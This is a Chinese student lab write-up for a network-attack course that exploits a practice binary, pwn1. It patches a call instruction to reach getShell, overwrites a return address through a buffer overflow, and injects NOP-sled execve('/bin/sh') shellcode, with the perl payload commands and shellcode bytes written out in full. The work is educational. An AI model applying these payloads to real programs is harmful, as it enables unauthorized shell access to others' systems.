2018-2019-2 网络对抗技术 20165323 Exp1 PC平台逆向破解

实验目的

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

实验内容

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

实验步骤

（一）直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术
使用objdump -d pwn1将pwn1反汇编，得到以下代码（只展示部分核心代码）：
从反汇编的文件来看，main函数中调用foo函数，使用call指令。通过分析发现foo函数与getShell函数的首地址之间
存在偏移，两者之间相差了14。系统调用foo函数对应机器指令为e8 d7ffffff，则如果想调用getShell函数，就要对e8 d7ffffff进行修改。
已经知道电脑是小端模式，即数据的高字节保存在内存的高地址中，而数据的低字节保存在内存的低地址中。因此，如果要修改，就要将"d7"改为"c3"。

具体操作过程：

输入命令 cp pwn1 pwn2对pwn1中的内容进行拷贝至pwn2
用vi打开pwn2，输入:%!xxd将显示模式切换为十六进制
在底行模式输入/d7定位需要修改的地方，并确认
进入插入模式，修改d7为c3
输入:%!xxd -r将十六进制转换为原格式
使用:wq保存并退出
反汇编查看修改后的代码，发现call指令正确调用getShell：

运行修改后的代码，可以得到shell提示符：（这个地方因权限不够需要输入命令chmod +x pwn2修改文件权限）

（二）通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术
思路
利用缓存区溢出进行攻击，是利用输入的数据将返回值进行覆盖。如果用getShell函数的地址进行覆盖，就会使程序调用getShell函数实现BOF攻击。
调用函数的时候，就会将函数的地址作为返回值压栈，即放入栈顶。字符串字节数足够大的时候就能覆盖返回值。
理清思路，使用gdb进行调试，弄清楚是哪几个字节会覆盖返回地址。
当输入为以下字符时已经发生段错误，产生溢出：

使用gdb进行调试

注意到eip的值为ASCII的5，即在输入字符串的“5”的部分发生溢出。将“5”的部分改为其他数字进一步确认：
将“1234”替换为getShell函数的地址，即0x0804847d。已经知道电脑是小端模式，输入的时候要注意使用正确的字节序。
同时，输入的时候要注意，我们是没办法直接输入ASCII码值为“0804847d"的字符，需要使用perl命令先生成包括这样字符串的一个文件。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
用xxd input查看input文件的内容
后将input的输入，通过管道符“|”，作为输入。运行之后就进入了getShell函数，实验的第二部分就完成了。

（三）注入Shellcode并执行

shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
首先使用apt-get install execstack命令安装execstack。

修改以下设置
我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90，最前面加上加上返回地址（先定义为\x4\x3\x2\x1），执行命令

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
打开一个终端注入这段攻击buf：

在另一个终端查看pwn1这个进程，发现进程号为3174。

用gdb来调试pwn1这个进程。

通过设置断点，来查看注入buf的内存地址（输入命令disassemble foo）

使用break *0x080484ae设置断点，并输入c继续运行。在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp查找地址。
使用x/16x 0xbffff21c查看其存放内容，看到了01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xbffff220。

输入命令perl -e 'print "\x20\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

最后执行程序：

实验收获与感想

通过本次实验初步理解了缓冲区溢出攻击的原理，理解了堆栈是这么被恶意代码覆盖的，覆盖后是怎么实现跳转的，跳转后是怎么执行的。但是部分内容还是不够理解，程序中各个汇编指令的功能理解不够透彻，不过通过这次实验还是学到了很多知识。

什么是漏洞？漏洞有什么危害？

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷。危害很大，被攻击的计算机可能会进入命令行模式，从而攻击者可以对文件进行任意的操作，造成个人信息的泄露或丢失，也可能会执行相关的恶意代码，为木马植入、后门设置提供条件。